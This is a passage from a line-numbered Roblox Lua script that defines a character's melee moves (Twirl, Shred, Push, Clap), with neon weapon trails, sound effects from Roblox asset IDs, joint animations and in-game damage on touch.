  3793. coroutine.wrap(function()
  3794. for i = 1,10 do
  3795. wait()
  3796. Trail.Transparency = Trail.Transparency +0.1
  3797. end end)()end end)()
  3798. coroutine.wrap(function()
  3799. local Old = Handle.CFrame.p
  3800. while wait()do
  3801. if not TrailDeb then break end
  3802. local New = Handle.CFrame.p
  3803. local Mag =(Old -New).magnitude
  3804. local Dis =(Old +New)/2
  3805. local Trail = Instance.new("Part",Character)
  3806. Trail.Material = "Neon"
  3807. Trail.Anchored = true
  3808. Trail.CanCollide = false
  3809. Trail.BrickColor = TorsoColor
  3810. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3811. Trail.TopSurface = 0
  3812. Trail.BottomSurface = 0
  3813. Trail.formFactor = "Custom"
  3814. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3815. local ms = Instance.new("BlockMesh",Trail)
  3816. ms.Scale = Vector3.new(1,1,1)
  3817. local TM = Instance.new("CylinderMesh",Trail)
  3818. TM.Scale = Vector3.new(1,1,1)
  3819. Old = New
  3820. coroutine.wrap(function()
  3821. for i = 1,0,-0.1 do
  3822. wait()
  3823. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3824. end
  3825. Trail:remove()
  3826. end)()
  3827. coroutine.wrap(function()
  3828. for i = 1,10 do
  3829. wait()
  3830. Trail.Transparency = Trail.Transparency +0.1
  3831. end end)()end end)()
  3832. Footsteps:Stop()
  3833. Footsteps2:Stop()
  3834. con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end)
  3835. con2=Gear.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end)
  3836. so("http://www.roblox.com/asset/?id=159882497",Torso,1,1)
  3837. for i=0,1,0.1 do
  3838. swait()
  3839. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  3840. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3841. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3842. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3843. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  3844. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  3845. end
  3846. if anim then
  3847. anim.Disabled=true
  3848. end
  3849. so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1.2)
  3850. so("http://www.roblox.com/asset/?id=231917758",RightArm,1,1)
  3851. for i=0,1,0.05 do
  3852. swait()
  3853. Torso.Velocity=RootPart.CFrame.lookVector*100
  3854. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(90),math.rad(0+360*i)),.3)
  3855. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3856. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3857. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3858. RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  3859. LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  3860. end
  3861. so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1.2)
  3862. so("http://www.roblox.com/asset/?id=231917758",RightArm,1,1)
  3863. for i=0,1,0.05 do
  3864. swait()
  3865. Torso.Velocity=RootPart.CFrame.lookVector*100
  3866. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(90),math.rad(0+360*i)),.3)
  3867. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3868. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3869. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3870. RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  3871. LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  3872. end
  3873. so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1.2)
  3874. so("http://www.roblox.com/asset/?id=231917758",RightArm,1,1)
  3875. for i=0,1,0.05 do
  3876. swait()
  3877. Torso.Velocity=RootPart.CFrame.lookVector*100
  3878. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(90),math.rad(0+360*i)),.3)
  3879. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3880. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3881. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3882. RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  3883. LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  3884. end
  3885. --dmgstop()
  3886. Humanoid.WalkSpeed=12
  3887. attack=false
  3888. con1:disconnect()
  3889. con2:disconnect()
  3890. if anim then
  3891. anim.Disabled=false
  3892. end
  3893. if TrailDeb == true then
  3894. TrailDeb = false
  3895. end
  3896. end
  3897.  
  3898. function Twirl()
  3899. mana=mana-50
  3900. attack=true
  3901. if TrailDeb == false then
  3902. TrailDeb = true
  3903. end
  3904.  
  3905.  
  3906. coroutine.wrap(function()
  3907. local Old = Handle2.CFrame.p
  3908. while wait()do
  3909. if not TrailDeb then break end
  3910. local New = Handle2.CFrame.p
  3911. local Mag =(Old -New).magnitude
  3912. local Dis =(Old +New)/2
  3913. local Trail = Instance.new("Part",Character)
  3914. Trail.Material = "Neon"
  3915. Trail.Anchored = true
  3916. Trail.CanCollide = false
  3917. Trail.BrickColor = TorsoColor
  3918. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3919. Trail.TopSurface = 0
  3920. Trail.BottomSurface = 0
  3921. Trail.formFactor = "Custom"
  3922. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3923. local ms = Instance.new("BlockMesh",Trail)
  3924. ms.Scale = Vector3.new(1,1,1)
  3925. local TM = Instance.new("CylinderMesh",Trail)
  3926. TM.Scale = Vector3.new(1,1,1)
  3927. Old = New
  3928. coroutine.wrap(function()
  3929. for i = 1,0,-0.1 do
  3930. wait()
  3931. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3932. end
  3933. Trail:remove()
  3934. end)()
  3935. coroutine.wrap(function()
  3936. for i = 1,10 do
  3937. wait()
  3938. Trail.Transparency = Trail.Transparency +0.1
  3939. end end)()end end)()
  3940. coroutine.wrap(function()
  3941. local Old = Handle.CFrame.p
  3942. while wait()do
  3943. if not TrailDeb then break end
  3944. local New = Handle.CFrame.p
  3945. local Mag =(Old -New).magnitude
  3946. local Dis =(Old +New)/2
  3947. local Trail = Instance.new("Part",Character)
  3948. Trail.Material = "Neon"
  3949. Trail.Anchored = true
  3950. Trail.CanCollide = false
  3951. Trail.BrickColor = TorsoColor
  3952. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3953. Trail.TopSurface = 0
  3954. Trail.BottomSurface = 0
  3955. Trail.formFactor = "Custom"
  3956. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3957. local ms = Instance.new("BlockMesh",Trail)
  3958. ms.Scale = Vector3.new(1,1,1)
  3959. local TM = Instance.new("CylinderMesh",Trail)
  3960. TM.Scale = Vector3.new(1,1,1)
  3961. Old = New
  3962. coroutine.wrap(function()
  3963. for i = 1,0,-0.1 do
  3964. wait()
  3965. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3966. end
  3967. Trail:remove()
  3968. end)()
  3969. coroutine.wrap(function()
  3970. for i = 1,10 do
  3971. wait()
  3972. Trail.Transparency = Trail.Transparency +0.1
  3973. end end)()end end)()
  3974. Footsteps:Stop()
  3975. Footsteps2:Stop()
  3976. con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end)
  3977. con2=Gear.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end)
  3978. so("http://www.roblox.com/asset/?id=159882598",Torso,1,1)
  3979. for i=0,1,0.1 do
  3980. swait()
  3981. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  3982. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3983. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3984. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3985. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  3986. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  3987. end
  3988. if anim then
  3989. anim.Disabled=true
  3990. end
  3991. so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1)
  3992. so("http://www.roblox.com/asset/?id=231917758",RightArm,1,0.8)
  3993. for i=0,1,0.05 do
  3994. swait()
  3995. Torso.Velocity=RootPart.CFrame.lookVector*80
  3996. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(90),math.rad(0),math.rad(0+360*i)),.3)
  3997. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3998. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3999. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  4000. RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  4001. LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  4002. end
  4003. so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1)
  4004. so("http://www.roblox.com/asset/?id=231917758",RightArm,1,0.8)
  4005. for i=0,1,0.05 do
  4006. swait()
  4007. Torso.Velocity=RootPart.CFrame.lookVector*80
  4008. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(90),math.rad(0),math.rad(0+360*i)),.3)
  4009. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4010. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4011. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  4012. RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  4013. LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  4014. end
  4015. so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1)
  4016. so("http://www.roblox.com/asset/?id=231917758",RightArm,1,0.8)
  4017. for i=0,1,0.05 do
  4018. swait()
  4019. Torso.Velocity=RootPart.CFrame.lookVector*80
  4020. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(90),math.rad(0),math.rad(0+360*i)),.3)
  4021. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4022. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4023. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  4024. RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  4025. LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  4026. end
  4027. so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1)
  4028. so("http://www.roblox.com/asset/?id=231917758",RightArm,1,0.8)
  4029. for i=0,1,0.05 do
  4030. swait()
  4031. Torso.Velocity=RootPart.CFrame.lookVector*80
  4032. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(90),math.rad(0),math.rad(0+360*i)),.3)
  4033. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4034. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4035. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  4036. RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  4037. LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  4038. end
  4039. --dmgstop()
  4040. Humanoid.WalkSpeed=12
  4041. attack=false
  4042. con1:disconnect()
  4043. con2:disconnect()
  4044. if anim then
  4045. anim.Disabled=false
  4046. end
  4047. if TrailDeb == true then
  4048. TrailDeb = false
  4049. end
  4050. end
  4051.  
  4052. function Shred()
  4053. attack=true
  4054. mana=mana-100
  4055. if TrailDeb == false then
  4056. TrailDeb = true
  4057. end
  4058.  
  4059.  
  4060. coroutine.wrap(function()
  4061. local Old = Handle2.CFrame.p
  4062. while wait()do
  4063. if not TrailDeb then break end
  4064. local New = Handle2.CFrame.p
  4065. local Mag =(Old -New).magnitude
  4066. local Dis =(Old +New)/2
  4067. local Trail = Instance.new("Part",Character)
  4068. Trail.Material = "Neon"
  4069. Trail.Anchored = true
  4070. Trail.CanCollide = false
  4071. Trail.BrickColor = TorsoColor
  4072. Trail.Size = Vector3.new(0.2,Mag,0.2)
  4073. Trail.TopSurface = 0
  4074. Trail.BottomSurface = 0
  4075. Trail.formFactor = "Custom"
  4076. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  4077. local ms = Instance.new("BlockMesh",Trail)
  4078. ms.Scale = Vector3.new(1,1,1)
  4079. local TM = Instance.new("CylinderMesh",Trail)
  4080. TM.Scale = Vector3.new(1,1,1)
  4081. Old = New
  4082. coroutine.wrap(function()
  4083. for i = 1,0,-0.1 do
  4084. wait()
  4085. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  4086. end
  4087. Trail:remove()
  4088. end)()
  4089. coroutine.wrap(function()
  4090. for i = 1,10 do
  4091. wait()
  4092. Trail.Transparency = Trail.Transparency +0.1
  4093. end end)()end end)()
  4094. coroutine.wrap(function()
  4095. local Old = Handle.CFrame.p
  4096. while wait()do
  4097. if not TrailDeb then break end
  4098. local New = Handle.CFrame.p
  4099. local Mag =(Old -New).magnitude
  4100. local Dis =(Old +New)/2
  4101. local Trail = Instance.new("Part",Character)
  4102. Trail.Material = "Neon"
  4103. Trail.Anchored = true
  4104. Trail.CanCollide = false
  4105. Trail.BrickColor = TorsoColor
  4106. Trail.Size = Vector3.new(0.2,Mag,0.2)
  4107. Trail.TopSurface = 0
  4108. Trail.BottomSurface = 0
  4109. Trail.formFactor = "Custom"
  4110. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  4111. local ms = Instance.new("BlockMesh",Trail)
  4112. ms.Scale = Vector3.new(1,1,1)
  4113. local TM = Instance.new("CylinderMesh",Trail)
  4114. TM.Scale = Vector3.new(1,1,1)
  4115. Old = New
  4116. coroutine.wrap(function()
  4117. for i = 1,0,-0.1 do
  4118. wait()
  4119. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  4120. end
  4121. Trail:remove()
  4122. end)()
  4123. coroutine.wrap(function()
  4124. for i = 1,10 do
  4125. wait()
  4126. Trail.Transparency = Trail.Transparency +0.1
  4127. end end)()end end)()
  4128. Footsteps:Stop()
  4129. Footsteps2:Stop()
  4130. con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,30,40,math.random(20,40),"Normal",RootPart,.2,1) end)
  4131. con2=Gear.Touched:connect(function(hit) Damagefunc(hit,30,40,math.random(20,40),"Normal",RootPart,.2,1) end)
  4132. so("http://www.roblox.com/asset/?id=159882578",Torso,1,1)
  4133. for i=0,1,0.1 do
  4134. swait()
  4135. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4136. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4137. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4138. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  4139. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  4140. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  4141. end
  4142. if anim then
  4143. anim.Disabled=true
  4144. end
  4145. for i=0,1,0.05 do
  4146. swait()
  4147. Torso.Velocity=RootPart.CFrame.lookVector*20
  4148. so("http://www.roblox.com/asset/?id=231917758",LeftArm,0.2,1.2)
  4149. so("http://www.roblox.com/asset/?id=231917758",RightArm,0.2,1)
  4150. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(0+40*i)),.5)
  4151. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4152. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4153. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  4154. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  4155. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  4156. end
  4157. for i=0,1,0.05 do
  4158. swait()
  4159. Torso.Velocity=RootPart.CFrame.lookVector*40
  4160. so("http://www.roblox.com/asset/?id=231917758",LeftArm,0.2,1.2)
  4161. so("http://www.roblox.com/asset/?id=231917758",RightArm,0.2,1)
  4162. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(41+80*i)),.5)
  4163. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4164. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4165. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  4166. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  4167. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  4168. end
  4169. for i=0,1,0.05 do
  4170. swait()
  4171. Torso.Velocity=RootPart.CFrame.lookVector*60
  4172. so("http://www.roblox.com/asset/?id=231917758",LeftArm,0.2,1.2)
  4173. so("http://www.roblox.com/asset/?id=231917758",RightArm,0.2,1)
  4174. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(82+120*i)),.5)
  4175. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4176. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4177. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  4178. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  4179. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  4180. end
  4181. so("http://www.roblox.com/asset/?id=159882625",Torso,1,1)
  4182. so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.1)
  4183. so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.1)
  4184. so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.1)
  4185. so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.1)
  4186. for i=0,1,0.05 do
  4187. swait()
  4188. Torso.Velocity=RootPart.CFrame.lookVector*80
  4189. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(124+160*i)),.5)
  4190. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4191. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4192. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  4193. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  4194. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  4195. end
  4196. for i=0,1,0.005 do
  4197. swait()
  4198. Torso.Velocity=RootPart.CFrame.lookVector*100
  4199. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(168+4200*i)),.5)
  4200. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4201. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4202. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  4203. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  4204. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  4205. end
  4206. --dmgstop()
  4207. Humanoid.WalkSpeed=12
  4208. attack=false
  4209. con1:disconnect()
  4210. con2:disconnect()
  4211. if anim then
  4212. anim.Disabled=false
  4213. end
  4214. if TrailDeb == true then
  4215. TrailDeb = false
  4216. end
  4217. end
  4218.  
  4219. function Push()
  4220. attack=true
  4221. mana=mana-20
  4222. if TrailDeb == false then
  4223. TrailDeb = true
  4224. end
  4225.  
  4226.  
  4227. coroutine.wrap(function()
  4228. local Old = Handle2.CFrame.p
  4229. while wait()do
  4230. if not TrailDeb then break end
  4231. local New = Handle2.CFrame.p
  4232. local Mag =(Old -New).magnitude
  4233. local Dis =(Old +New)/2
  4234. local Trail = Instance.new("Part",Character)
  4235. Trail.Material = "Neon"
  4236. Trail.Anchored = true
  4237. Trail.CanCollide = false
  4238. Trail.BrickColor = TorsoColor
  4239. Trail.Size = Vector3.new(0.2,Mag,0.2)
  4240. Trail.TopSurface = 0
  4241. Trail.BottomSurface = 0
  4242. Trail.formFactor = "Custom"
  4243. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  4244. local ms = Instance.new("BlockMesh",Trail)
  4245. ms.Scale = Vector3.new(1,1,1)
  4246. local TM = Instance.new("CylinderMesh",Trail)
  4247. TM.Scale = Vector3.new(1,1,1)
  4248. Old = New
  4249. coroutine.wrap(function()
  4250. for i = 1,0,-0.1 do
  4251. wait()
  4252. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  4253. end
  4254. Trail:remove()
  4255. end)()
  4256. coroutine.wrap(function()
  4257. for i = 1,10 do
  4258. wait()
  4259. Trail.Transparency = Trail.Transparency +0.1
  4260. end end)()end end)()
  4261. coroutine.wrap(function()
  4262. local Old = Handle.CFrame.p
  4263. while wait()do
  4264. if not TrailDeb then break end
  4265. local New = Handle.CFrame.p
  4266. local Mag =(Old -New).magnitude
  4267. local Dis =(Old +New)/2
  4268. local Trail = Instance.new("Part",Character)
  4269. Trail.Material = "Neon"
  4270. Trail.Anchored = true
  4271. Trail.CanCollide = false
  4272. Trail.BrickColor = TorsoColor
  4273. Trail.Size = Vector3.new(0.2,Mag,0.2)
  4274. Trail.TopSurface = 0
  4275. Trail.BottomSurface = 0
  4276. Trail.formFactor = "Custom"
  4277. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  4278. local ms = Instance.new("BlockMesh",Trail)
  4279. ms.Scale = Vector3.new(1,1,1)
  4280. local TM = Instance.new("CylinderMesh",Trail)
  4281. TM.Scale = Vector3.new(1,1,1)
  4282. Old = New
  4283. coroutine.wrap(function()
  4284. for i = 1,0,-0.1 do
  4285. wait()
  4286. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  4287. end
  4288. Trail:remove()
  4289. end)()
  4290. coroutine.wrap(function()
  4291. for i = 1,10 do
  4292. wait()
  4293. Trail.Transparency = Trail.Transparency +0.1
  4294. end end)()end end)()
  4295. con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end)
  4296. con2=Gear.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end)
  4297. for i=0,1,0.1 do
  4298. swait()
  4299. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4300. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  4301. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4302. Handleweld.C0=clerp(Handleweld.C0,cf(-5,0,-10)*angles(math.rad(20),math.rad(-20),math.rad(0)),.2)
  4303. Handle2weld.C0=clerp(Handle2weld.C0,cf(5,0,-10)*angles(math.rad(20),math.rad(20),math.rad(0)),.2)
  4304. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-20)),.3)
  4305. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(20)),.3)
  4306. end
  4307. so("http://www.roblox.com/asset/?id=231917758",Handle2,1,.8)
  4308. so("http://www.roblox.com/asset/?id=231917758",Handle,1,1)
  4309. so("http://www.roblox.com/asset/?id=159882481",Torso,1,1)
  4310. for i=0,1,0.1 do
  4311. swait()
  4312. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4313. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  4314. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4315. Handleweld.C0=clerp(Handleweld.C0,cf(-4,0,-20)*angles(math.rad(20),math.rad(-20),math.rad(0)),.2)
  4316. Handle2weld.C0=clerp(Handle2weld.C0,cf(4,0,-20)*angles(math.rad(20),math.rad(20),math.rad(0)),.2)
  4317. RW.C0=clerp(RW.C0,cf(1,0.5,-1)*angles(math.rad(90),math.rad(0),math.rad(-20)),.3)
  4318. LW.C0=clerp(LW.C0,cf(-1,0.5,-1)*angles(math.rad(90),math.rad(0),math.rad(20)),.3)
  4319. end
  4320. --dmgstop()
  4321. attack=false
  4322. con1:disconnect()
  4323. con2:disconnect()
  4324. if TrailDeb == true then
  4325. TrailDeb = false
  4326. end
  4327. end
  4328.  
  4329. function Clap()
  4330. attack=true
  4331. mana=mana-20
  4332. if TrailDeb == false then
  4333. TrailDeb = true
  4334. end
  4335.  
  4336.  
  4337. coroutine.wrap(function()
  4338. local Old = Handle2.CFrame.p
  4339. while wait()do
  4340. if not TrailDeb then break end
  4341. local New = Handle2.CFrame.p
  4342. local Mag =(Old -New).magnitude
  4343. local Dis =(Old +New)/2
